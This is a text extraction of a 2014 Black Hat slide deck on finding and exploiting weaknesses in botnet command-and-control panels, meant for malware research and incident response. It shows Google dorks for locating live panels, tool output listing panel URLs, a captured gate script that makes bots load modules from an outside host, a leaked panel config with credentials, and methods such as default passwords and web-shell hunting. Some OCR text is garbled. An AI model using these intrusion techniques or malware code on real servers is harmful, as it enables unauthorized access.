#### black hat USA 2014

## Exploiting Fundamental Weaknesses in Command and Control (C&C) Panels

What Goes Around Comes Back Around !



Aditya K Sood Senior Security Researcher and Engineer

#### About the Speaker

- Dr. Aditya K Sood
  - Senior Threat Researcher and Engineer
- Others

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- Worked previously for IOActive, Armorize, Coseinc and KPMG
- Active Speaker at Security conferences
- Written Content IEEE Magazine/Virus Bulletin/ ISSA/ISACA/CrossTalk/HITB Ezine /Elsevier NESE|CFS
- Personal Website:
  - LinkedIn : http://www.linkedin.com/in/adityaks
  - Website: http://www.secniche.org
  - Blog: http://secniche.blogspot.com
  - Company Website : <u>http://www.niara.com</u>
- Authored "Targeted Cyber Attacks" Book !
- Email : contact {at} secniche {dot} org





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The research presented in this presentation should only be used for educational purposes. Please also check the updated version of this presentation after the conference.

The released version of the research paper is Version I.I ! Fetch it from BlackHat Archives or <u>http://www.secniche.org</u>





#### What This Talk is All About ?

- Learning about the different insights gathered from real-time testing of C&C panels
- Understanding the facts and C&C design of botnet families
   Zeus / ICE 1X/ Citadel / BetaBot etc.
- Busting several myths about C&C architecture and deployments
- Learning what methods to follow when direct exploitation is not possible
- Utilizing multiple vulnerabilities to attack C&C panels
- Gathering information using weak C&C configurations
- Building C&C intelligence for Incident Response and automated solutions

#### Rationale !

#### Why to Break when we can Bypass !



#### C&C Panels Overview

- Web-based software components for managing bots around the Internet
- Centralized place for communicating with bots and sending updates
- Majority of the C&C panels are authored in PHP and MySQL
   Hosted on Apache / Nginx and LAMPP (XAMPP) servers
- C&C panel is architected using modular components that are interdependent on each other
  - Failing one component can impact the working of other component

#### **C&C** Components Protection

- Design Protections
  - Gates
  - Cryptographic Key
  - Login Web Page Key
- Generic C&C Components
  - Note: naming convention and components changes with design

Component	Overview
gate.php	preventing direct access to main control panel
cp.php	managing bots and exfiltrated data (control panel)
index.php	restricting directory listing through default code
config.php	configuring settings for bots and C&C panel itself
install/	installation component (tables, databases, reports and others)
fsarch.php	archiving files

#### C&C Gates

- What are Gates ?
  - Intermediate web components that perform verification on the incoming requests sent by the bots

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- Verification of bots identity
- Authorization and allocation of access rights
- Different from login or administrative panels
- Gates can be treated as proxies
  - C&C prefers to communicate with bots through gates



#### Protecting C&C Resources

ICE 1X shows following message in one of its directory:

(+)	Omega mysteryforex.com/modules/mod_ebuka/web/redirect/readme.txt															
$\sim$																
Use	ZEND	or	ION	Cube	to	protect	file	and	hide	path	to	real	server	with	admin	panel.

- ZEND Framework Authentication
  - Zend\_Session → Built-in session management functionality using namespace objects
  - Zend\_Acl  $\rightarrow$  Lightweight access control privileges
- ionCube

- ionCube<sup>®</sup>
- PHP encoder to encode the PHP source code and file paths
- ionCube loader manages the runtime execution of PHP code

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#### C&C Attack Models

- Reversing malware to extract cryptographic keys and file
  - Key provides read/write operation capabilities on the C&C panel (including components)
- Obtaining backdoor access to hosting servers
- Finding design and deployment flaws including vulnerabilities
  - Performing source code analysis on the downloaded C&C panel
- Note: Read Whitepaper for complete details !



#### Google Dorks – Botnet C&Cs

- Potential Dorks
  - Dorks are based on the default design of the botnet family
    - Design such as naming convention can be changed by the bot herder
  - A number of C&C panels have been exposed using these dorks
    - Worth giving a TRY ! Test more and build more dorks !

<b>Botnet Family</b>	Potential Google Dorks
Zeus	inurl: "cp.php?m=login"   inurl: "cp.php?letter=login"
ICE 1X	inurl: "adm/index.php?m=login"
Citadel	inurl: "cp.php?m=login"
BetaBot	inurl: "login.php" intext: "myNews Content Manager"
iStealer	inurl: "index.php?action=logs" intitle:"login"
SpyEye	inurl: "frmcp/"

#### Google Dorks – Botnet C&Cs

• Example : Citadel and Zeus

[1854:1846 - 0:2079] 05:37:42 [root@BACKY:o +3] /my_tools/cc_tools
\$ python garo.py inurl:"cp.pnp?m=login" 100
DETECTED COMMAND AND CONTROL PANELS USING GOOGLE DORKS !
<pre>[*]! [*] ok, results collected, cleaning the cached links or inactive links! [*] total number of potential C&amp;C links detected are : 25 [*] generating direct C&amp;C links with access codes</pre>
<pre>[+] Title [login]   http://woo-wei.com.tw/yoyo/cp.php?m=login   (200)   (LiteSpeed) [+] Title [login - Roersma Bestratingen]   http://roersmabestratingen.nl/apatechinc/cp.php?m=login   (200)   (Apache) [-] Title [login - Grupo Prosur]   http://grupoprosur.com/zeta/cp.php?m=login   (404)   (Apache) [+] Title [login - Specific Randomness]   http://specificrandomness.com/tmp/serv/cp.php?m=login   (200)   (Apache/2.2.23 ( -fins-rhel5 mod auth passtbrough/2 1 mod bwlimited/1 4 FrontPage/5 0 2 2635)</pre>
<pre>[+] Title [login - Data recovery Oxford]   http://datarecoveryoxfordshire.co.uk/hd/cp.php?m=login   (200)   (Apache) [-] Title [login - Viva Hammer]   http://vivahammer.com/wp-load/server/cp.php?m=login   (404)   (Apache) [+] Title [login - Indongsang.com]   http://indongsang.com/update/cp.php?m=login   (200)   (Apache) [+] Title [login - Bandanas Republic]   http://www.bandanasrepublic.com/bin/cgi/server/cp.php?m=login   (200)   (Apache)</pre>
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<pre>[-] Title [login - lawaco]   http://lawaco.com.vn/hh/cp.php?m=login   (404)   (Microsoft-IIS/6.0) [+] Title [login]   http://78.142.63.63/~buymetld/GenerAL/Sh0px/cp.php?m=login   (200)   (Apache) [-] Title [login - Relux Music]   http://reluxmusic.com/wp/cp.php?m=login   (404)   (Apache) [-] Title [login - Spectracity.com]   http://spectracity.com/zu/cp.php?m=login   (404)   (Apache)</pre>

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#### Google Dorks – Botnet C&Cs

• Example : Finding C&C Gates

<pre>[1854:1846 - 0:2086] 05:44:29 [root@BACKY:o +3] /my_tools/cc_tools \$ python gdro.py inurl:'panel/gate.php' 200 [*1]</pre>
DETECTED COMMAND AND CONTROL PANELS USING GOOGLE DORKS !
<pre>[*]! [*] ok, results collected, cleaning the cached links or inactive links! [*] total number of potential C&amp;C links detected are : 9 [*] generating direct C&amp;C links with access codes</pre>
<pre>[+] Title [Counter   Login]   http://www.hhoppler.bplaced.net/HOPPLA-Hoppler/counter/panel/gate.php   (200)   (Apache/2.4) [-] Title [Location:66.249.76.210:United States]   http://www.notorioushf.us/panel/gate.php   ([Errno -2] Name or service [-] Title [Location:66.249.73.41:United States]   http://yotribez.com/panel/gate.php   (404)   (Apache/2.4) [+] Title [Location:66.249.64.96:United States]   http://borudo.prodriftbrasil.net/panel/gate.php   (200)   (nginx) [+] Title [Location:66.249.66.184:Unknown]   http://zeus.tr.gp/panel/gate.php   (200)   (Apache) [+] Title [Location:66.249.68.8:Unknown]   http://nth2doftw.netii.net/panel/gate.ph</pre>
p   (200)   (Apache) [+] Title [Location:66.249.66.196:Unknown]   http://kochamkwiaty.ugu.pl/panel/gate.php   (200)   (Apache) [+] Title [Location:66.249.73.175:United States]   http://irc.videos.x10.mx/panel/gate.php   (200)   (Li teSpeed) [+] Title [Location:66.249.68.184:Unknown]   http://chuzsec.netau.net/panel/gate.php   (200)   (Apache)

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13

#### Network Traffic Analysis (1)

- Detecting network traffic to gates
  - Analyzing communication channels used for data exfiltration

POST /panel/gate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.raozat.com Content-Length: 262 Expect: 100-continue Connection: Keep-Alive

crypt=gQHanl2ck5WarpyNtglTCRkTBNlK6h0RwAjLzACQgACM1YTORBCIgASVQNEIkFWdRBiMp0EvoUmcvNEIpIF KsVGdulkkg4SKx4SM2BSTEROVg0CIu9Wa0FmcvBncvNEI0Z2bz9mcjlWToACM3MDIYZEIvJHZhVXUgEUSElkV0pib p1GZBpSQv4kK2gDegcDIzd3bk5WaXpSNwIWMwgjN0MmZ4AzMzgzMzYWZ0YzYkhjY0MWNkJWZmRmYWIDM1lTOHTTP/ 1.1 200 OK Date: Tue, 18 Feb 2014 19:59:27 GMT Server: LiteSpeed Connection: close X-Powered-By: PHP/5.3.28 Content-Type: text/html Content-Length: 420

==AfqMFRBVkUIRFI01CI0MjMxoDdkRnL152b0NXYu9mag8ULgMzMzMj0vZmbp5ibpFGajV2ZvRmLx0wd0Fmc0N3Lv oDcjR3KtVHdhJHdzBybtACdwlncjNHIh1iKgQwYvxmb39GZ/ I2bsJ2Lw8SMFNXZH1Tw58yclxwam9SMvkGch9cd05szn9yL6AHd0hGI0JXY0NnLyVmbp1GfqMXZ5ByZtACNzITMgA XLgUHcn5sZu9GdzFmbvpGI11CI5MzMzoTbvNmLyVGdzFmZoNXYo5sZn9GZu0Wd0Fmc0N3LvoDcjR3KtVHdhJHdzBy btACdwlncjNHIh1iKgQwYvxmb39GZ/ I2bsJ2Lw8SMHJkU0ZUS28yclxwam9SMvkGch9cd05szn9vL6AHd0hGI0JXY0NnL1B3zuIXzulWbl

Data exfiltration to Gates – Plasma Bot !



#### Network Traffic Analysis (2)

 Remember : Gates and C&C administration interface are hosted on the same server majority of the time

- -> C 🗋 alubarika.in/gov/adminpanel/gate.php

←     →     C     D alubarika.in/gov/adminpanel/admin.php?m=login     D									
	Login User name: Password: Remember (MD5 cookies)								
	Submit								

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Gate component shows blank page and C&C panel administration interface is present on the same server



15

#### Multiple C&C Panels – Same Server

- Possibility of only one C&C panel present on the same host on the destination server → Not True !
- Operations
  - Analyze URL structure and associated parameters
  - Detect directory patterns in the C&C URL
  - Guess or Fuzz the parameters in the C&C URL
- Example
  - URL structure : http://[C&C\_domain]/[directory]/index.php?m=login
    - http://www.example.com/storage/1/control.php?m=login
  - Try:
    - http://www.example.com/storage/2/control.php?m=login
    - http://www.example.com/storage/3/control.php?m=login
    - http://www.example.com/storage/4/control.php?m=login

#### Multiple C&C Panels – Server

Detected multiple Zeus C&C panels on same host

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User name: Password: Remove And			User name:		
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#### Multiple C&C Panels – Server

Detected multiple Winlocker C&C Panels

◆ obession.co.ua/loader/index.php ☆ マ C	•
Username Password	♦ Ø obession.co.ua/loader1/index.php
Sign In	Not Found
	The requested URL /loader1/index.php was not found on this server.
	Apache/2.2.22 (Debian) Server at obession.co.ua Port 80
♦ I obession.co.ua/loader2/index.php	• *
Username	
Password	
Sign In	





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## Confirming Base C&C Components

- Relying on the renamed C&C component and does not ensure the present of the default one
- Operations
  - Bot herders rename the C&C component to other to avoid signatures
    - Example: renaming "cp.php" → "check.php"
  - Ensure that the default components are present on the server
  - Testing indicates that both renamed and original files are present on the C&C server



#### Installation Component Check

Installation component is exposed on several botnets
 Vulnerable C&C Panels – Zeus / ICE 1X / Citadel

- [\*] install directory is exposed on the target C&C !
- [-] installed C&C version : Control Panel 1.3.5.1 Installer
- [\*] detected MySQL DB on the C&C panel is : sayno2ga\_foxpp
- [\*] extracting installer information, wait for few seconds for the POST reque: .....!
- [\*] installer query resulted in following information from : http://sayno2gay/ wordpress/wp-includes/foxpp/install/index.php

# • [2] - Updating table <b>'botnet\_webinjects\_history '</b>. '</b> ' </t

#### Extracting report directory name and accessing it to access reports directory !

- -> C 🗋 sayno2gaymarriage.biz/wordpress/wp-includes/foxpp/\_reports13305113/

#### Index of /wordpress/wp-includes/foxpp/\_reports13305113

- Parent Directory
- files/

Apache/2.2.27 (Unix) mod\_ssl/2.2.27 OpenSSL/1.0.1e-fips mod\_bwlimited/1.4 Server at sayno2gaymarriage.biz Port 80



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### Port Mapping for Similar Resources

- Relying completely on the specific port detected in the network for C&C communication
  - Verification of only TCP port 80 or 443 on the C&C for web services
  - Assuming that TCP port 443 is used only for HTTPS
- Issuing the HTTP requests to same resources on different ports
  - Fuzzing the same web resources on the target web server on different ports
  - This technique has resulted in fruitful scenarios



#### Port Mapping for Similar Resources





#### Port Mapping for Similar Resources

```
<?php
   $aid=mysql_real_escape_string($_GET["aid"]);
   $id=mysql real escape string($ GET["id"]);
   $os=mysql_real_escape_string($_GET["os"]);
   $version=mysql real escape string($ GET["version"]);
   if(preg_match("/^[a-z_.\-\d]+$/i",$aid)
       &&preg_match("/^[a-z_.\-\d]+$/i",$id)
       &&preg_match("/^[a-z_.\-\d]+$/i",$os)
       &&preg match("/^[a-z .\-\d]+$/i",$version))
       $mysql connection=mysql connect("localhost","root","test50$");
       mysql query("create database if not exists logs");
       mysql select db("logs");
       $ip=ip2long($ SERVER["REMOTE ADDR"]);
       mysql query("create table if not exists logs (day int unsigned, date timestamp
       default current timestamp, ip bigint(11) unsigned, type id int unsigned, type char(16),
       aid int unsigned, uid binary(16), versi <?php
                                                 $fc=fopen("logs/testcount","c+");
       index indextype id (type id), index in
       mysql query("insert into logs (day,ip
                                                  flock($fc,1);
       (to_days(curdate()),'".$ip."','0','cn
                                                  $counter=0;
       mysql close($mysql connection);
                                                 $counter=fread($fc,100);
                                                 if($counter<1000)
                                                      $counter++;
                                                      fseek($fc,0);
                                                      echo("loadmodule(\"http://cc9966.com/l\",\"ltst\")\n");
                                                      file_put_contents("logs/test","[".$counter."][".$ SERVER["REMOTE_ADDR"]."]
                                                      [".date("d.m.y H:i:s")."]".$ SERVER["QUERY STRING"]."\n",FILE APPEND);
                                                      fwrite($fc,$counter);
                                                 fclose($fc);
                                                  if( $ GET["aid"] == "333" )
                                                      echo("loadmodule(\"http://cc9966.com/sub\",\"sub\")\n");
                                                  else
                                                      echo("loadmodule(\"http://cc9966.com/clk\",\"clk\")\n");
                                              ?>
```

## C&C Deployment on XAMPP

- Seriously ?
- XAMPP is never meant to be used for production purposes
  - Using it for C&C is serious mistake. But, its happening !
  - Easy configuration
- Serious security issues in configuration
  - The MySQL administrator (root) has no password
  - The MySQL daemon is accessible via network
  - ProFTPD uses the password "lampp" for user "daemon"
  - PhpMyAdmin is accessible via network
  - Examples are accessible via network
  - Refer: <u>https://www.apachefriends.org/faq\_linux.html</u>
- There are number of loopholes that can be exploited to hack back into servers using XAMPP

#### C&C Deployment on XAMPP

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#### C&C Deployment on XAMPP

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'localhost', 'mysql\_user' => 'lampp', 'mysql\_pass' => '7KPW4VrrAPppqchv', 'mysql\_db' => 'webalizzer', 'reports\_path' => '\_reports347375132', 'reports\_to\_db' => 1, 'reports\_to\_fs' => 1, 'reports\_geoip' => 0, 'jabber' => array ( 'login' => ", 'pass' => ", 'host' => ", 'port' => 5222, ), 'reports\_jn' => 0, 'reports\_jn\_logfile' => '\_reports347375132/jabber.log', 'reports\_jn\_to' => ", 'reports\_in\_list' => ", 'reports\_in\_botmasks' => ", 'reports\_in\_masks' => array ( 'wentOnline' => ", 'software' => ", 'cmd' => ", ), 'reports\_jn\_script' =>]", 'scan4you\_jid' => ", 'scan4you\_id' => ", 'scan4you\_token' => ", 'accparse\_jid' => ", 'vnc\_server' => ", 'vnc notify jid' => ", 'reports deduplication' => 1, 'iframer' => array ( 'url' => ", 'html' => ' ', 'mode' => 'off', 'inject' => 'smart', 'traverse' => array ( 'depth' => 3, 'dir\_masks' => array ( 0 => '\*www\*', 1 => 'public\*', 2 => 'domain\*', 3 => '\*host\*', 4 =>  $ht^{docs'}, 5 => f^{site^{s'}}, 6 => f^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0 => f^{site^{s'}}, 1 => f^{site^{s'}}, 2 => f^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}}, 0$  if  $ht^{site^{s'}}, 0$  is  $ht^{site^{s'}},$ 'reiframe days' => 0, 'process delay' => 0, ), ), 'named preset' => array ( ), 'db-connect' => array ( ), 'mailer' => array ( 'master\_email' => ", 'script\_url' => ", ), 'allowed\_countries\_enabled' => 0, 'allowed\_countries' => ", 'botnet\_timeout' => 1500, 'botnet cryptkey' => 'EE801318260CN', ); \$config['botnet cryptkey bin'] = array(42, 206, 44, 185, 223, 202, 65, 90, 137, 182, 105, 33, 18, 87, 251, 175, 127, 148, 56, 141, 225, 97, 15, 221, 130, 252, 4, 180, 229, 221, 115, 154, 22, 144, 240, 43, 66, 74, 218, 84, 76, 201, 55, 117, 72, 104, 208, 102, 189, 17, 145, 224, 124, 75, 166, 219, 86, 133, 110, 145, 26, 60, 248, 4, 0, 39, 88, 79, 165, 7, 37, 40, 28, 175, 230, 149, 212, 108, 173, 138, 33, 172, 114, 181, 254, 78, 12, 108, 68, 15, 102, 5, 44, 90, 16, 232, 192, 37, 63, 236, 120, 59, 162, 192, 111, 35, 151, 251, 107, 118, 57, 226, 181, 186, 129, 103, 96, 198, 141, 252, 23, 161, 184, 60, 239, 27, 87, 171, 207, 117, 106, 136, 51, 54, 237, 127, 19, 156, 83, 81, 213, 228, 7, 247, 20, 242, 212, 69, 246, 253, 253, 201, 162, 126, 225, 86, 62, 168, 0, 207, 123, 16, 172, 105, 211, 57, 42, 151, 49, 21, 48, 220, 99, 226, 168, 48, 159, 113, 209, 118, 146, 30, 165, 11, 167, 65, 192, 65, 81, 166, 155, 187, 25, 50, 136, 211, 32, 233, 205, 205, 10, 83, 134, 155, 45, 129, 99, 179, 194, 73, 180, 8, 29, 247, 5, 134, 1, 191, 132, 57, 14, 52, 113, 216, 112, 141, 32, 239, 187, 64, 95, 195, 109, 232, 158, 253, 70, 69, 122, 1, 244, 235, 86, 160, 204, 197, 85, 156, 184, 138, 149, 238, 196, 208, 188, 94); return \$config;

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#### **Root Directory Verification**

- Root directory of the hosting server should be analyzed
- Majority of time directory index is obtained

← → C □ 107.182.142.41	
Index of /	
Name Last modified Size Description	
<u>serverphp/</u> 2014-06-20 06:54 -	← → C [] 107.182.142.41/serverphp/r7/
Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/5.5.9 Server at 107.182.142.41 Port 80	Index of /serverphp/r7
	Name Last modified Size Description
	Parent Directory -
	<u>reports/</u> 2014-06-21 02:38 -
	2014-06-20 06:58 34K
	sp.php 2013-12-19 01:10 55K
	gate.php 2013-12-19 01:10 17K
	<u>install</u> 2013-12-19 01:10 -
	theme/ 2013-12-19 01:10 -

Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/5.5.9 Server at 107.182.142.41 Port 80

#### Vulnerability Hunting !

- Detecting vulnerabilities in C&C panels
  - Like hunting flaws in web applications
- Example:- An earlier SQL Injection in SpyEye C&C panel !

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<u>File Edit View Help</u>	
<form onsubmit="auth(); return false;"> <label>Please, enter password: </label><input id="password" name="password" type="password"/> <input div_auth'="" type="submit" value="E&lt;br&gt;&lt;div id="/> </form>	nter'>
<pre>-script type="text/javascript"&gt; el = document.getElementById('password'); if (el) el.focus(); -dtel&gt;</pre>	
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#### Weak and Default Passwords !

- Several C&Cs are configured with weak or default passwords
- iStealer panel accessed using weak password

Hello, admin										
	Show All Logs	Search	Export All Logs	Logout						
<u>Program</u>	<u>Url / Host</u>	Lo	gin	Password	<u>Computer</u>	<u>Date</u>	<u>Ір</u> (			
IDM	www.steampo	wered.com tin	nissteurjonas	Check other passwords of user		2013-05- 16 18:22:59	109.62.38.133	•		
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#### Remote Management Shells !

- Search for PHP files with arbitrary names
  - Possibility of finding remote management shells
  - If you know the authentication key, you can upload of your own too.

) @ plazamatbaa.com/.css/\_reports/files/default/ERIXUNO-PC\_3CF08AEC5262EE56/zikri.php.

#### <?php





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#### Conclusion

- To fight with malware, it is important to harness the power of penetration testing and malware analysis including reverse engineering
- There are no shortcuts to fight against cybercrime



 Note: Do read the whitepaper released with this talk for extensive details. Materials are available on BlackHat Archives and <u>http://www.secniche.org</u>



#### Future Work

- To build more interesting attack models as this research is ongoing
- To analyze complete evolution of botnet C&C panels
- To detect new C&C panels for upcoming botnets
- To perform data analysis to understand security guidelines used by the end-users and organizations



#### **Questions and Queries !**



http://www.niara.com